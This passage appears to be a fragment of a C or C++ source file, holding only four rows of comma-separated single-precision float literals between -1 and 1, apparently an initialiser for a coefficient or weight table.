0.868430622614485f, 0.945955651201780f, -0.879259966782947f, 0.376142233233261f, -0.549019623646418f, -0.366403875933169f, -0.631308623984507f, -0.398270064613022f, 0.631780765950599f, -0.497821177556814f, -0.0754938097555216f, 0.358298259390762f, -0.438971283619577f, -0.835962846436280f, 0.771544885338102f, 0.132031497593111f, 0.0964144932127649f, -0.171144812197942f, 0.734241841669664f, 0.773828279651661f, 0.591442573315395f, 0.449840299498767f, -0.249196666141921f, 0.910274822633449f, -0.623687862912847f, -0.954398427932048f, 0.700975370671540f, -0.128268698036002f, 0.723971772247224f, -0.239872317271662f, 0.599101633280873f, 0.323504979356466f, 0.726076237951951f, 0.775013638477775f, -0.736157118505210f, 0.681129332563739f, -0.989456914597076f, -0.860559243921100f, -0.652547050354339f, 0.227533741410917f, 0.263244425371628f, -0.412800042549063f, -0.774547399227093f, 0.959749220773555f, 0.0285018454625012f, 0.0260964660594436f, -0.817249773797516f, -0.275510098931589f, -0.957071090655421f, 0.755874233806472f, 0.0601247360044190f, 0.155148678178749f, 0.744458452388040f, 0.206143083045583f, 0.405575258734775f, 0.591273066531951f, -0.286358679634110f, 0.168522523380964f, -0.0740663582251186f, 0.991796969736415f, 0.00304472789286958f, 0.0955103281360055f, 0.595292305224677f, -0.633460800851610f, 0.969720344590438f, -0.788939516987962f, -0.690852963213444f, -0.751849610482179f, -0.454105756229298f, 0.527652178438853f, -0.249156091787771f, -0.395486634371019f, -0.586329259469701f, 0.774216673365643f, 0.000796185912973479f, 0.753872935709907f, 0.691883261316931f, -0.599798140130743f, 0.140718954973018f, 0.400016581571111f, -0.412934563119652f, 0.782683275869451f, -0.837415681080234f, 0.503344297140354f, 0.443222186121185f, -0.869067764953740f, 0.891507832007671f, -0.258782538717313f, -0.592111951047753f, 0.542828422857983f, -0.959476625230936f, -0.373353196174649f, 0.558975637763876f, 0.848608638566440f, -0.861701716955403f, -0.937645215971517f, 0.0456695238513540f, -0.643462752057364f, -0.194887894642735f, 0.576940690214110f, -0.889414400002951f, -0.120401270393403f, 0.581976128201341f, -0.914549817300516f, 0.619675229253819f, -0.446355411157033f, -0.686510097388917f, 0.199022704414501f, 0.0679083509214176f, 0.939286059873160f, 0.919854436895475f, -0.921420499961796f, -0.933865152326639f, -0.173428453947994f, 0.0481843697148709f, 0.282408667923603f, 0.411093542307595f, 0.332739798472214f, -0.539048264159821f, -0.704491312083244f, -0.502163632960363f, 0.955228344617550f, 0.620064399129425f, -0.470222569036376f, 0.754614931250763f, -0.616308595262807f, -0.914574682979899f, 0.624066330640082f, 0.836911269770582f, 0.913639510454430f, 0.653228461676548f, -0.269928008555249f, 0.313006679186127f, 0.984676487220296f, -0.492012769698267f, 0.956868299674771f, 0.291679581317590f, 0.0391808383867289f, 0.572884371819903f, 0.0424011452585180f, 0.955486550514640f, -0.402317209279260f, -0.606465037288902f, 0.547296561663929f, -0.262634118959448f, -0.555413611714328f, -0.328781770154915f, 0.145794994289916f, 0.141260540582646f, -0.451655981927315f, 0.305553535897825f, 0.828724940454557f, 0.263943455052409f, -0.609183422737396f, 0.691170220321907f, -0.372701931956834f, 0.750237424665146f, -0.249353280856890f, 0.379870697565802f, 0.385751069018950f, -0.515117494253264f, 0.716937491491901f, 0.343749563024118f, -0.462962268225808f, -0.542579750084113f, 0.865163879545508f, 0.348358741505572f, -0.309602240547849f, -0.0504864877295679f, -0.822856269672862f, 0.199343960697129f, -0.790668167630170f, -0.0910655952543342f, -0.0243531696455832f, 0.832501734319368f, 0.604933598167068f, 0.899053047900036f, 0.270668041381131f, 0.523691409964688f, -0.0841567002292820f, -0.844392287920523f, -0.910987838261586f, -0.470654231510287f, -0.103828495683496f, 0.253788695977573f, -0.103172947809401f, -0.339896741661867f, -0.447251997825083f, 0.217200476817515f, -0.474840886373359f, 0.227876267254650f, -0.851351819181938f, -0.902078585170911f, 0.445464427415683f, -0.842484493463611f, -0.141606736723087f, 0.104224619207891f, -0.554900879859470f, 0.818556374444811f, -0.832710463532413f, -0.284760316465868f, 0.697962734672817f, 0.235137001970259f, 0.538298155374871f, -0.598477541924834f, -0.833959821954974f, -0.164556670763502f, -0.443902305525605f, 0.484290717235912f, 0.319356252041167f, 0.0834544406255109f, -0.839174383593280f, -0.514784811627172f, 0.466424623987191f, 0.597641402168886f, -0.344706573843316f, 0.346954604803744f, 0.150560726232471f, -0.963838773301094f, -0.210406119881130f, 0.740751216241446f, -0.519896828058978f, 0.882277568799242f, 0.982734995306564f, -0.691486807580351f, -0.120653164608028f, 0.263039860106709f, -0.472131671311566f, -0.469155525952548f, -0.562705921604020f, -0.737502946123759f, 0.151863404645485,
-0.367233093688652f, 0.149585386378220f, -0.152980596399920f, 0.572826412281344f, -0.498718037086228f, -0.0794332639424211f, 0.659760386972575f, -0.574814983564964f, 0.451329484188896f, 0.473066930128670f, -0.135151886005125f, 0.379571405476121f, -0.308712078323501f, -0.136843563834117f, 0.395667583713552f, 0.196238140324408f, 0.588147058383512f, 0.770505301611929f, -0.865188840370228f, 0.266437694165002f, -0.428134513764013f, 0.661967260527446f, -0.752421375452379f, -0.556389852423621f, 0.424944298468302f, -0.480554454112605f, 0.916159659428765f, -0.112147362457396f, 0.363475545209813f, 0.698805683596358f, -0.862382341730295f, -0.489415523853276f, 0.453056404353730f, -0.606183761884457f, -0.00869682692408680f, -0.288739722701460f, 0.487988005841341f, 0.566870040344668f, 0.0894575138005909f, 0.887832293799319f, -0.0981274237649674f, -0.279935090781560f, 0.506891141525948f, 0.952901245338457f, 0.458002767525373f, -0.569410776125351f, 0.849518291873527f, -0.585020953514368f, 0.676037258640625f, 0.299076264841081f, 0.911385441491479f, -0.954959555659035f, -0.681285607891366f, 0.631368118385947f, 0.522268523899537f, 0.900701101674748f, -0.647701850365577f, 0.567960815808216f, -0.138958982219446f, 0.267024801687456f, -0.975771109955874f, 0.314682157086949f, -0.378801381286130f, 0.665990927256163f, -0.573674360032848f, -0.860450785684384f, 0.516581474078532f, -0.190844183471714f, -0.451971355445856f, -0.808113003973650f, 0.860446168028895f, 0.377778958059242f, 0.126949039950121f, -0.892203650250330f, 0.572503460980517f, 0.975224974978800f, -0.202312370945465f, 0.500665599343084f, -0.0510413720986291f, 0.353231752436633f, -0.805555931906752f, -0.199761377956955f, -0.829487282239605f, 0.0282459088867508f, 0.814545057118991f, 0.557652277921578f, 0.613951716518862f, -0.678811366342345f, 0.896500288318877f, -0.627622562398925f, 0.802545092571611f, 0.211382709497062f, -0.979380222642662f, 0.826784411456488f, -0.670689878657734f, 0.788878029765924f, 0.137070906151783f, 0.901907287859132f, -0.526217367070263f, -0.545043827128876f, 0.494756249972086f, 0.236657948774128f, 0.156603327087660f, 0.516397244064118f, -0.325837179590292f, 0.460683385171580f, -0.196022953760504f, -0.441996357332195f, -0.808932369852494f, 0.291980108741838f, -0.833583979826152f, 0.365574438479475f, -0.797139524158001f, -0.0649288183732912f, -0.000696491493834994f, 0.100125393693922f, 0.598035350719377f, -0.312548404453564f, 0.0414605409182345f, -0.675913083156432f, 0.236245026389435f, 0.550464243484224f, 0.193366907856750f, -0.903654015709839f, -0.00993172527377806f, 0.0180900754210873f, 0.880678290110106f, 0.166539520562349f, -0.984509466189118f, 0.810283124477894f, -0.925371921448173f, 0.193528916069728f, -0.748644561903135f, 0.534508666819454f, 0.364436869280188f, -0.386979667637943f, 0.427958998441480f, 0.362750270039032f, 0.420886957715891f, 0.0300301961707390f, -0.655220626875711f, 0.0504522662127427f, 0.472640818703213f, -0.417745816013639f, 0.0689992794158720f, 0.461232479061866f, -0.483517586427718f, -0.411463769964024f, 0.622740736364726f, 0.659687134578680f, 0.243900134982579f, -0.684356227282321f, -0.688699031115733f, -0.316032121634021f, -0.644296362948831f, -0.236133265458216f, 0.880259454885881f, -0.956880609581177f, 0.737775899964131f, -0.529059297472703f, 0.794119601436042f, -0.375698158660466f, 0.493447663117292f, -0.752511119115434f, -0.941143365329844f, 0.610101048864035f, 0.253791011658991f, -0.369994602049336f, -0.697364270085742f, -0.681360550250048f, -0.571943442128960f, -0.749697324128684f, 0.611997629275096f, 0.892727938106141f, -0.440225399106758f, 0.00196047981855352f, 0.951252158369648f, 0.0351885308766962f, -0.471806546113710f, -0.657231535594911f, -0.0873481442406481f, -0.0341288006282565f, 0.579184398564974f, -0.224334624306026f, -0.298557652719061f, -0.509401519638379f, 0.188853505083675f, -0.321619146497229f, -0.613159956450671f, 0.570042044631281f, 0.699213203307007f, 0.537439231469861f, 0.529440733283839f, -0.744527226912905f, 0.362949055807175f, 0.529758698714545f, -0.114804719889245f, 0.991089489396930f, -0.186716454683287f, -0.218189173574106f, -0.0493780858124198f, -0.928812411399224f, -0.101855573638590f, 0.454268528366586f, 0.617591620012079f, -0.197519518988231f, 0.0973277590468935f, -0.185672509894105f, 0.649922648337967f, -0.896862900376972f, 0.594999589349510f, -0.746978997769556f, 0.590642952628647f, 0.935109901616311f, -0.293310684054096f, 0.783281817912060f, -0.189898897214222f, 0.414859016240278f, -0.0858574647662298f, 0.0810260863380805f, -0.633024441577653f, 0.248442861097829f, 0.984586601784679f, 0.982811638387854f, 0.547456083836220f, 0.476239638753291f, -0.897709902882279f, -0.208045489357872f, -0.860637131636973f, -0.496740558564284f, -0.944185351410090f, 0.157610983944341f, 0.975214099838643f, 0.550265718083095f, -0.630360326400067f, 0.672420341653334f, -0.897139264107564f, -0.670556423663785f, 0.298764071000339f, -0.310465384759529f, -0.978153640586955f, 0.189785151994709f, 0.929291975296760f, 0.758271912876084f, 0.806829662560108f, -0.472787451147715f, -0.802032434276146f, 0.455809631085663f, 0.985520713417984f, 0.739637167649794f, 0.311705106454777f, -0.120539152808323f, 0.977785717545631f, -0.848554870988208f, -0.281179241544089f, 0.931102239520177f, -0.255243432382956f, -0.284952242030900f, -0.189341152192864f, 0.647573166562597f, -0.474203015584843f, -0.545915610099538f, 0.672696420688916f, -0.239274489717776f, 0.956544960216021f, -0.0858024073600807f, -0.758223415922611f, -0.00817763648068581f, -0.500893489164054f, -0.669386983409311f, -0.344450617815217f, -0.728051392792875f, 0.804121117816188f, 0.00718436691280910f, 0.195237363230272f, -0.472485206728796f, 0.642070241911164f, -0.272384993247314f, -0.731715323915071f, -0.791266589031733f, 0.0339783427570857f, 0.0696513783219659f, -0.894169486972683f, 0.00234016305501483f, -0.0403382685361653f, -0.943600572111266f, -0.788181603936192f, 0.851406365407377f, -0.100015982664501f, 0.145502229793638f, -0.528736628076536f, -0.0313760382570432f, -0.662221611141088f, -0.885722031379862f, -0.744257140212482f, 0.524976313116033f, 0.186092035304635f, 0.181669793648209f, -0.606482674165339f, 0.849303544554227f, 0.226118051135263f, -0.690025550727719f, -0.256543384397548f, -0.207714017766381f, -0.447913202664626f, 0.375270273897879f, -0.884312586292038f, -0.0838720085819762f, 0.969898436757285f, -0.736808033249456f, 0.668875150485586f, -0.599937439969920f, 0.470077288925414f, 0.903135367105719f, -0.895619185450694f, -0.637694108244489f, 0.572669535020987f, -0.696211470281632f, -0.820577518545193f, 0.937364674938455f, 0.422458818039761f, -0.593964370461091f, -0.586264791612426f, 0.0282373486927521f, 0.298051147134121f, 0.592825359583763f, 0.716195674857467f, -0.684008410968338f, -0.167523841045924f, -0.370794208549223f, 0.768054740581884f, 0.997835641681024f, -0.366262133888883f, -0.523114034556271f, -0.457946740456489f, -0.530941146838744f, 0.298744841822404f, 0.390761228562591f, 0.0871171594445448f, 0.764002674223649f, 0.233966808661423f, -0.116573523634048f, 0.426118986433559f, -0.255934695328716f, 0.302314199650152f, -0.254971729124577f, -0.330865677738578f, -0.0840307537517577f, -0.711910586170446f, 0.622585361690409f, 0.367595248366733f, 0.422102667722561f, 0.269580206097961f, 0.707083822001774f, 0.625367208198523f, -0.729594790471199f, 0.708679674727951f, 0.00355767003560614f, 0.379158300246371f, -0.688791438249760f, 0.261637457245975f, 0.704008781391790f, -0.917586017594177f, 0.886443038824615f, -0.923559496787343f, 0.360365726214756f, 0.547058288460181f, -0.279853192856989f, -0.996331953899586f, -0.323735921605962f, -0.618788277975037f, 0.314597206161166f, 0.106380963133907f, -0.235044228453968f, 0.0406899091091886f, 0.687339428801573f, 0.344837805924860f, 0.123214914005620f, -0.735264225932133f, 0.0396243248944774f, 0.270602083588730f, -0.316104623194235f, 0.201800731173529f, -0.348987679395254f, 0.994312100135549f, -0.986073454140000f, -0.787571177818193f, 0.508460947811657f, -0.443663972776222f, 0.800303477136838f, 0.712158443474503f, 0.958364684407633f, -0.0512343510942759f, -0.391095518504938f, -0.291911155637644f, 0.721770656984705f, -0.163541232110535f, 0.0366644501980513f, 0.700853097239887f, -0.508089885354834f, -0.375072588159867f, 0.161585369564288f, 0.686325557438797f, -0.113188612544717f, 0.859354598908873f, -0.723198679696606f, 0.398879124170303f, 0.139357627051752f, 0.484780500073663f, -0.0437501438537016f, -0.868783676783105f, -0.147865612288567f, -0.116480069295514f, -0.986846049950927f, -0.859405305954576f, -0.631359938031082f, -0.0310065270390489f, -0.288382201791710f, -0.500960878568203f, -0.805633068309090f, -0.837604329816134f, 0.0325253228618525f, -0.538953832190091f, 0.913844038280417f, 0.681967460199437f, -0.656775429658090f, 0.922492558885196f, -0.689527254640680f, 0.688263898240070f, -0.225450858342925f, 0.0287239965989763f, -0.407744573364816f, -0.477326718671529f, -0.780374037627418f, 0.500400378743065f, -0.532646941279704f, 0.999679272201893f, 0.136003002234441f, -0.811267727922649f, -0.585019862511894f, 0.125465493193590f, 0.203160759437510f, -0.101322607820275f, 0.543784310894398f, 0.630139383695983f, 0.775322422120693f, 0.229262447827729f, -0.656821799421711f, 0.795940998463793f, 0.263281283116320f, -0.377237794697631f, -0.714267543277316f, -0.161924029976839f, 0.804294011825499f, -0.500488029613262f, 0.716655543045374f, -0.709565530287520f, -0.260746944768714f, -0.496886497176178f, -0.896154699339640f, -0.891352204187934f, 0.0589172685048254f, -0.952496908556348f, -0.543314015084183f, 0.0724005345282401f, -0.132089156895576f, 0.694937364018361f, -0.884509342587775f, -0.944587795707932f, 0.346949362800262f, -0.587900264454839f, 0.531217960795664f, 0.404240620498887f, 0.182769547944683f, 0.804826966991636f, 0.601398794220406f, -0.767933817870427f, -0.329693990599177f, -0.880648189418561f, 0.0370834298504716f, -0.405270662847564f, -0.551993194163015f, 0.357335885219159f, -0.442910616174561f, -0.978355051725551f, -0.638907517841606f, 0.266841057307734f, 0.778698832906031f, -0.967180516636130f, -0.772940622039654f, -0.268706136695081f, -0.326082261974967f, 0.0386785617389067f, 0.576293286973562f, 0.446884000380730f, 0.396703264915684f, -0.718633572608705f, 0.586041202195072f, -0.791039546767268f, 0.556638124682382,
0.728711593864679f, -0.576551104247230f, 0.690227524206044f, 0.0451432373341216f, -0.0569690667958747f, 0.877674150343795f, -0.268602876493051f, -0.770720641807978f, 0.630269600593677f, 0.801702094819180f, 0.177071915997341f, -0.0764831522886398f, -0.476930347674815f, 0.0196833210809626f, -0.566188434097295f, 0.309890567123613f, -0.642682312350471f, -0.645839718540077f, -0.985031719881713f, 0.153028235575708f, -0.446724738384881f, -0.616280949001367f, -0.306418078463084f, 0.313048512921978f, 0.944732667717825f, -0.292311689238647f, 0.263616032352334f, 0.776777395064071f, -0.529182830991988f, -0.418996105801001f, 0.286960890623362f, 0.588336822287104f, 0.268219370126612f, -0.696727535489037f, 0.806089151192541f, 0.0396168299208206f, -0.613570658239778f, 0.358002315998429f, -0.0576147175733950f, -0.859664908314368f, 0.930793190364908f, -0.108955403960031f, 0.640347446939098f, 0.0301817512477458f, 0.508435547839785f, -0.774928250619894f, 0.254548271045827f, -0.192551571812315f, -0.401867317012389f, -0.136220787532581f, -0.480363308055205f, 0.146599399729624f, 0.225767301672040f, -0.207158678688912f, 0.763491487133281f, 0.161192803873192f, -0.574968151683314f, -0.454043408746924f, 0.427131132989065f, 0.170648543751820f, 0.0690597676805780f, 0.0360172652133248f, -0.244429817416531f, -0.973014074152018f, -0.172642279134011f, -0.798684796670922f, -0.622626145444778f, -0.743408670602069f, -0.316057396003030f, 0.908608689971065f, 0.948356574904685f, 0.573858539226522f, 0.457065605245418f, -0.246203048690671f, -0.750525340546383f, 0.612971646035183f, 0.951528788403619f, -0.529776510809815f, 0.0886901849846271f, -0.0254136796699882f, 0.978897595553096f, 0.293893753097695f, 0.620217642132267f, 0.862352989549627f, -0.379040515436326f, 0.790157871471479f, 0.147151952442201f, 0.688271487774812f, -0.897847532497188f, -0.0355337105008888f, -0.850253422176695f, -0.0354384862653523f, -0.625796807949394f, 0.851730076897135f, 0.294773618291289f, 0.834287219330433f, 0.0758749738551283f, 0.912613321307355f, -0.326698079590551f, -0.844748577890143f, -0.685263599922107f, -0.197029963909655f, 0.591416614029013f, -0.130921826828109f, -0.524292687689084f, 0.356220524225632f, -0.150091552835503f, -0.935232109847821f, -0.302103008478127f, -0.998557516519010f, -0.477012685701094f, -0.882343341754284f, 0.210797034143964f, -0.963566378978947f, -0.855600913755685f, -0.790231379847513f, -0.625235937382084f, 0.106405105589857f, -0.760544427202586f, 0.0103124858505332f, -0.610157345750845f, 0.968354521575116f, 0.602472069136318f, -0.216458111191680f, 0.935180184275450f, -0.369261245032360f, -0.289325139062185f, -0.772389696964545f, -0.345513639348744f, 0.135539262008296f, -0.747409495863324f, -0.849724942811800f, -0.739393030129744f, -0.0301380087411172f, 0.373808817820448f, 0.760444548005323f, -0.365739960428504f, 0.121859476627292f, -0.719257541809299f, -0.136914676340304f, -0.178479405732130f, -0.336676444507223f, -0.795056125367297f, -0.0872862684496700f, -0.950510559362909f, -0.395266512078238f, 0.636773305385949f, -0.150667208767723f, 0.534401287220298f, -0.349371424663528f, -0.784729313810243f, -0.0510904599006878f, -0.938702345462904f, 0.616929636007953f, -0.228578318449040f, 0.239101663221907f, 0.0390879233281141f, -0.294705782740043f, -0.847928516841798f, -0.0480433695823821f, 0.487351505367245f, -0.820736333448301f, 0.128692585024021f, -0.305133215914817f, 0.344900079505924f, -0.764316168982242f, 0.717529584295197f, 0.655848670831377f, 0.479849611138232f, -0.107624564628078f, -0.345816374073252f, 0.0822414215758816f, -0.0120870567528208f, 0.475870901669481f, -0.00594923432583361f, 0.869227669945672f, -0.262862047504512f, 0.272430399676396f, -0.734262318791166f, 0.980593493214018f, 0.110413869658192f, -0.732486564250777f, 0.470756873196238f, 0.897133387901917f, -0.151953973158384f, -0.591296220619271f, -0.113167158942796f, -0.103020520738423f, 0.220384226627647f, -0.0570027879342681f, 0.0923157145066511f, -0.523010309215342f, 0.385053964060568f, -0.223938668105458f, -0.0566497019068211f, 0.636390081595965f, -0.753651530578004f, -0.765450358896516f, 0.790370075460245f, 0.622949415286967f, -0.0947634056426396f, 0.122381201893998f, -0.138573523511105f, -0.544298107235542f, 0.535416341314523f, -0.341107295330707f, 0.266262786345860f, 0.620108481133049f, 0.190424987800150f, 0.978559599202704f, -0.925772919482004f, -0.300038300695816f, 0.963372836978511f, -0.501235224357981f, 0.828375446308031f, -0.595716120481773f, -0.889271354193173f, -0.389843123593065f, 0.659433696092409f, -0.633476165557619f, -0.708607689555741f, -0.737738480460783f, 0.985245299432648f, 0.976853985813928f, -0.863072444190232f, -0.785830171723126f, 0.309433061520758f, 0.166813366328975f, -0.552916412621405f, 0.0385101740167735f, 0.445866961855263f, 0.222557362424800f, 0.0710515871571971f, -0.368563489700928f, 0.317406114361191f, 0.326902000037272f, 0.868261309598320f, -0.897838476369198f, 0.664364291232529f, -0.373333343843574f, -0.599809263387549f, -0.411236387818613f, -0.118186587264933f, 0.544960929851182f, 0.395925813072269f, 0.337332244255533f, -0.0195528742963547f, -0.580383437020279f, 0.0779554182143842f, -0.902635825594202f, -0.821554429188969f, 0.869996816042779f, 0.646142135585380f, -0.0824693320525758f, 0.643317857725100f, -0.903892480205129f, -0.457595546004975f, 0.540461917564665f, -0.467530238695992f, 0.107497588388074f, -0.122360487746121f, -0.276968072230331f, -0.436413500733568f, 0.0719555518906898f, -0.794937479672675f, -0.641344733876686f, -0.934734152781945f, -0.0610463967348016f, -0.302623058375597f, 0.281116298309257f, 0.557459622053789f, -0.350054779110337f, 0.681853624031498f, -0.0454067482892435f, -0.897204174835461f, 0.0289327275291300f, 0.664312739864751f, -0.368814604980581f, -0.576946854776660f, -0.187886132141311f, 0.424385580259236f, 0.257994303715228f, -0.567650112011742f, -0.0453371545575014f, -0.362909825264387f, 0.450095578912812f, -0.713870209574945f, -0.956583539581944f, -0.969891699048729f, -0.417755773448598f, -0.230738535348142f, -0.153353095644968f, 0.539368458440622f, 0.591116036659417f, 0.779095541288385f, -0.578525766017613f, -0.587777137316663f, -0.301051260910212f, -0.319655538885669f, -0.343495369437935f, 0.908167583226333f, 0.764220052027033f, 0.0536418758245909f, -0.0529753241803754f, 0.249066042857931f, -0.840152142252005f, -0.529971459254312f, -0.449462194610696f, 0.467144819001113f, -0.500103828192601f, -0.758390449663076f, 0.369740436821770f, 0.189153926151852f, -0.188283227959439f, -0.427563759945909f, -0.186773725840825f, -0.00989853573399446f, -0.783648829817413f, -0.626450875837851f, -0.328015817185970f, 0.760383401930071f, -0.00804531008117837f, -0.982799468341000f, 0.392730506677802f, 0.117799138097530f, 0.351088974844522f, -0.259750164530173f, 0.776495358243216f, -0.703059519879109f, -0.362866233240751f, -0.421345310205860f, -0.818968876330675f, 0.936887497269786f, 0.713300632813635f, 0.916608801523944f, -0.147818975792564f, 0.317064988534009f, 0.885779227314381f, -0.897706599297367f, 0.685423132064732f, 0.907830438936990f, 0.0636614655685575f, -0.423018627861747f, 0.411565657893159f, 0.911060408474647f, -0.617833142759668f, -0.709543522964145f, -0.817633731247023f, -0.252433983274424f, 0.160456393103956f, -0.160765428576997f, -0.622001061437904f, -0.470257555319641f, 0.790643274059634f, -0.648181378655916f, -0.828694900506363f, -0.0234091767546987f, -0.562865077760768f, 0.369299949506391f, -0.423850142805423f, 0.520699811923658f, -0.877662359466779f, -0.739844704434180f, 0.300520939787139f, 0.0655718600121620f, 0.970843358712180f, -0.634231195336845f, 0.324880041395596f, -0.479089635857354f, -0.196422753715449f, 0.568762754402869f, 0.699215376070842f, 0.445741923102597f, 0.679868900756090f, 0.107609859752086f, -0.980983474461865f, -0.788419140653730f, 0.0696289436185713f, 0.00330944186568516f, 0.392265626672398f, 0.803469542460994f, 0.131029913648810f, -0.845408454497170f, -0.754797811352229f, -0.824208086798235f, 0.510072775586974f, -0.809491727769575f, -0.0228491196350333f, 0.920014947791232f, 0.441066319826495f, 0.969846842038360f, -0.199024726691046f, 0.886564290041856f, 0.203997575245743f, 0.481547443573126f, -0.637742489331117f, 0.0664642070998316f, 0.109187062068770f, -0.952676759642045f, 0.309247049771982f, 0.880534651306060f, -0.269363005485603f, 0.280012695899358f, 0.853031642671923f, -0.216236966392235f, 0.903180305900435f, 0.837949615815047f, 0.748563816043584f, 0.266735542018788f, -0.685176037557414f, 0.505893787666761f, 0.977721983069541f, -0.667151469253569f, -0.451774081267849f, -0.385755850727233f, 0.681037251596535f, 0.550130384863457f, 0.704080312734731f, 0.519624533199220f, 0.789651392050294f, 0.176325856625025f, 0.684011432098839f, -0.469125761119035f, -0.841814129063957f, -0.901473334652527f, -0.117747872709914f, -0.608533033968273f, 0.199709646080986f, -0.349430401438670f, -0.435162733168206f, -0.368150014673779f, 0.699084004342174f, -0.446068942643995f, 0.197420740774886f, 0.524893584115327f, 0.706475758890142f, 0.912020785879679f, -0.820472223153770f, -0.334742316079635f, -0.851724976994477f, -0.702164662784812f, -0.649654462810552f, 0.411435475616403f, -0.0438368033650360f, 0.799231452421757f, 0.713371883779316f, 0.252437083518609f, -0.685658163265283f, 0.0734649179831324f, -0.400549431226783f, -0.415602545578540f, 0.233864615718965f, 0.828846528739923f, 0.606577491175688f, -0.266016048272811f, -0.619106744484090f, -0.690853262778644f, -0.503499724631377f, -0.409761822901473f, 0.0576293548519007f, 0.551582021066584f, 0.132631452787255f, -0.838228405334512f, -0.107475742619267f, -0.875306852866273f, -0.184700469068763f, -0.317074087896838f, -0.580912620700556f, 0.453916157844897f, 0.690470988649940f, 0.712835197480083f, 0.314786689622726f, 0.759835688452120f, -0.671090442836235f, -0.408277610289776f, -0.815988422173708f, 0.227854929660384f, -0.0482646895577266f, 0.968141192561708f, 0.373896367655818f, 0.820435826598941f, 0.817746838197885f, -0.0970819110331989f, 0.679170154451559f, -0.577986561676471f, -0.0523570914231941f, -0.776930151133931f, -0.560456597170701f, 0.927747720961181f, 0.0350177837302503f, 0.844938034137843f, 0.00849044473190053f, 0.325089161670337f, -0.851825175889265f, 0.835251667623832f, -0.266397917890485f, 0.108463887056499f, -0.817868888235156f, 0.590399913800720f, 0.699274619715208,
0.200782223352391f, -0.936155874445214f, 0.218471971175575f, -0.890402779861849f, 0.268496441855317f, 0.881231954583528f, 0.279360358017994f, -0.492400368838405f, -0.894376670076375f, 0.585129064098519f, 0.340135248071744f, 0.455880107692993f, -0.861081993524584f, -0.303321115935151f, -0.562781799622214f, -0.526041750296426f, 0.999581943964160f, 0.249814139040315f, -0.0537475603822974f, -0.845239239849439f, -0.874024176808607f, 0.997751771128387f, -0.861617607547820f, 0.671357923629889f, -0.687974310115279f, -0.969462039056016f, -0.448304961870341f, 0.713064428261850f, -0.00718668165564318f, -0.450608596544700f, -0.106059234376561f, -0.591961308554238f, 0.588633089685867f, -0.755341317752403f, -0.542715401462936f, 0.759199260356047f, 0.0297710796506234f, -0.997343196630657f, 0.574076752994254f, -0.696719940193256f, -0.852227517176613f, 0.906332566627663f, -0.171801252847090f, -0.925131151948528f, -0.0212194634560026f, -0.940316444070044f, 0.262965279952363f, 0.902198615594563f, -0.265057066430189f, 0.161983092277652f, 0.0181345459457500f, 0.467973650469608f, 0.857351800575040f, -0.889882538061811f, 0.728868283859490f, 0.671187732362764f, -0.296882575397444f, -0.793099233276668f, 0.335561922676737f, 0.0671874495572633f, -0.0857142329385701f, -0.352870876674233f, -0.119927139078065f, 0.814127111105761f, -0.323910302649634f, -0.313495077982818f, 0.0690526899468447f, 0.877155536890319f, 0.768040884649443f, 0.158910636324140f, -0.824414709871474f, 0.00718921022841235f, -0.868917281154898f, -0.564967532196669f, 0.206261416621150f, -0.0699574404456100f, -0.0547095858591442f, 0.811674902353136f, -0.562993920383635f, 0.441212008804309f, 0.917951119557396f, 0.915571961092301f, 0.0901952529553498f, 0.614118141118295f, 0.760473529905706f, -0.566505475760865f, 0.00880029006400429f, 0.975626259597421f, 0.370738159620831f, -0.0242162976348563f, 0.828887690189252f, -0.665240810020082f, 0.00123256686221063f, 0.184020074202841f, 0.829917510366750f, -0.447854906466885f, 0.529356328938248f, -0.995192699858126f, -0.843748622724646f, -0.422765372440245f, -0.386179414096638f, 0.206325400140261f, -0.369817591904938f, 0.266933785902425f, 0.892617584642659f, 0.740018647415220f, -0.481907279471296f, 0.248268418729551f, -0.382770749117505f, 0.974424303757207f, -0.879320252286332f, -0.0294961755317245f, 0.638693329623790f, -0.765127178629299f, -0.160881380476610f, -0.725001019123526f, 0.00294709357263234f, -0.701949969294570f, -0.708933381768328f, -0.463893635537772f, 0.476650147791524f, -0.206043208566879f, 0.223011684523516f, -0.258637160422673f, 0.206325908651728f, -0.432336904344548f, 0.921979975841259f, -0.944396630315761f, -0.00680582426415510f, 0.319263487872783f, -0.836389324192867f, 0.111532890274445f, -0.938142383682239f, -0.637288670131655f, -0.834211558255576f, 0.251969378874330f, -0.970874587083192f, 0.831662411079802f, -0.446568187924869f, -0.659109068071113f, -0.877869176622375f, -0.890670252448197f, 0.477602927742628f, 0.324737705007923f, -0.147513413112549f, -0.186594638422632f, -0.282864808082840f, 0.745093922271927f, 0.915500859154332f, 0.0421588655873384f, -0.483320910754088f, 0.00503734690385604f, 0.555792895688253f, 0.129412601050279f, -0.229347983583150f, -0.680101211823600f, -0.866063899229274f, 0.437769924839021f, 0.133958234316391f, 0.589233411145099f, -0.498053917701437f, 0.180863681584405f, 0.525955777469479f, -0.581250985307273f, -0.327934857804250f, 0.482381204171926f, -0.867703472610278f, 0.833733008515087f, -0.607761820334944f, -0.758512235503178f, 0.0380785706067470f, 0.719862150842292f, 0.651283470517919f, -0.614218162858801f, -0.239754124815405f, -0.733992057859951f, -0.422541764223845f, 0.951215428883086f, 0.882569470276544f, 0.937054481646402f, 0.184532408731968f, -0.104097666585483f, 0.693277433170057f, 0.800241936558839f, -0.998230532922071f, 0.259835639125661f, 0.562745639592536f, 0.220441127510705f, 0.313735993201991f, 0.330940415696351f, -0.602872424656300f, 0.841677792852844f, 0.749701489563795f, 0.266727039860087f, 0.696379094133993f, -0.430719144952456f, -0.276768289732264f, -0.0872580230244173f, -0.722033206227688f, -0.837309584159114f, -0.629739366225350f, -0.185692585028452f, -0.110619837317415f, 0.515881116042359f, -0.105875685978079f, -0.513700186568578f, 0.961245417898430f, 0.655513716233953f, -0.0921704793645632f, -0.694925472850399f, -0.872174817305748f, 0.0307133806779607f, 0.531120672076921f, 0.965271277398122f, -0.00974420246777163f, -0.497322783064087f, 0.693565685926388f, 0.546918707342947f, -0.230039497490898f, -0.316024461029338f, 0.684231559582941f, -0.306362794944468f, 0.861366189035942f, 0.378922635334764f, 0.259443877770437f, -0.838617128408830f, -0.205350631644011f, -0.139772960377519f, -0.192918167939180f, 0.602404904043886f, -0.537407583974730f, -0.877007125624351f, 0.361539942609439f, -0.732030207831016f, -0.488792995226420f, 0.612591017966442f, 0.567185560938756f, 0.195543595335781f, -0.428955670554558f, -0.666590144318038f, -0.702467396810860f, -0.894350832807439f, -0.0620405855731709f, -0.583114546325259f, -0.482155957064968f, 0.212152442925647f, 0.112603107288251f, 0.0683986906619714f, 0.639176340917929f, 0.642610005510521f, -0.708605273163374f, 0.739594669131005f, -0.492786220480274f, 